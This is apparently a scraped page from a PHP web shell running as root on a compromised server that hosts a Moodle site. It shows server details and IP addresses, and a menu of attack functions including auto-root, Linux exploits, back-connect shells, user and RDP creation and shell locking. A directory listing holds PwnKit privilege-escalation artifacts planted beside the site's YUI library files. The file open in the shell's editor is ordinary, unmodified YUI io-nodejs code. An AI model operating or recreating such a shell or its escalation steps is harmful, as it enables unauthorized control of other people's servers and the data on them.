Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
yuilib /
3.17.2 /
io-nodejs /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
io-nodejs-debug.js
5.92
KB
-rwxrwxrwx
io-nodejs-min.js
1.3
KB
-rwxrwxrwx
io-nodejs.js
5.45
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : io-nodejs.js
/* YUI 3.17.2 (build 9c3c78e) Copyright 2014 Yahoo! Inc. All rights reserved. Licensed under the BSD License. http://yuilibrary.com/license/ */ YUI.add('io-nodejs', function (Y, NAME) { /*global Y: false, Buffer: false, clearInterval: false, clearTimeout: false, console: false, exports: false, global: false, module: false, process: false, querystring: false, require: false, setInterval: false, setTimeout: false, __filename: false, __dirname: false */ /** * Node.js override for IO, methods are mixed into `Y.IO` * @module io-nodejs * @main io-nodejs */ /** * Passthru to the NodeJS <a href="https://github.com/mikeal/request">request</a> module. * This method is return of `require('request')` so you can use it inside NodeJS without * the IO abstraction. * @method request * @static * @for IO */ if (!Y.IO.request) { // Default Request's cookie jar to `false`. This way cookies will not be // maintained across requests. Y.IO.request = require('request').defaults({jar: false}); } var codes = require('http').STATUS_CODES; /** Flatten headers object @method flatten @protected @for IO @param {Object} o The headers object @return {String} The flattened headers object */ var flatten = function(o) { var str = []; Object.keys(o).forEach(function(name) { str.push(name + ': ' + o[name]); }); return str.join('\n'); }; /** NodeJS IO transport, uses the NodeJS <a href="https://github.com/mikeal/request">request</a> module under the hood to perform all network IO. @method transports.nodejs @for IO @static @return {Object} This object contains only a `send` method that accepts a `transaction object`, `uri` and the `config object`. @example Y.io('https://somedomain.com/url', { method: 'PUT', data: '?foo=bar', //Extra request module config options. request: { maxRedirects: 100, strictSSL: true, multipart: [ { 'content-type': 'application/json', body: JSON.stringify({ foo: 'bar', _attachments: { 'message.txt': { follows: true, length: 18, 'content_type': 'text/plain' } } }) }, { body: 'I am an attachment' } ] }, on: { success: function(id, e) { } } }); */ Y.IO.transports.nodejs = function() { return { send: function (transaction, uri, config) { config.notify('start', transaction, config); config.method = config.method || 'GET'; config.method = config.method.toUpperCase(); var rconf = { method: config.method, uri: uri }; if (config.data) { if (Y.Lang.isString(config.data)) { rconf.body = config.data; } if (rconf.body && rconf.method === 'GET') { rconf.uri += (rconf.uri.indexOf('?') > -1 ? '&' : '?') + rconf.body; rconf.body = ''; } } if (config.headers) { rconf.headers = config.headers; } if (config.timeout) { rconf.timeout = config.timeout; } if (config.request) { Y.mix(rconf, config.request); } Y.IO.request(rconf, function(err, data) { if (err) { transaction.c = err; config.notify(((err.code === 'ETIMEDOUT') ? 'timeout' : 'failure'), transaction, config); return; } if (data) { transaction.c = { status: data.statusCode, statusCode: data.statusCode, statusText: codes[data.statusCode], headers: data.headers, responseText: data.body || '', responseXML: null, getResponseHeader: function(name) { return this.headers[name]; }, getAllResponseHeaders: function() { return flatten(this.headers); } }; } config.notify('complete', transaction, config); config.notify(((data && (data.statusCode >= 200 && data.statusCode <= 299)) ? 'success' : 'failure'), transaction, config); }); var ret = { io: transaction }; return ret; } }; }; Y.IO.defaultTransport('nodejs'); }, '3.17.2', {"requires": ["io-base"]});
Close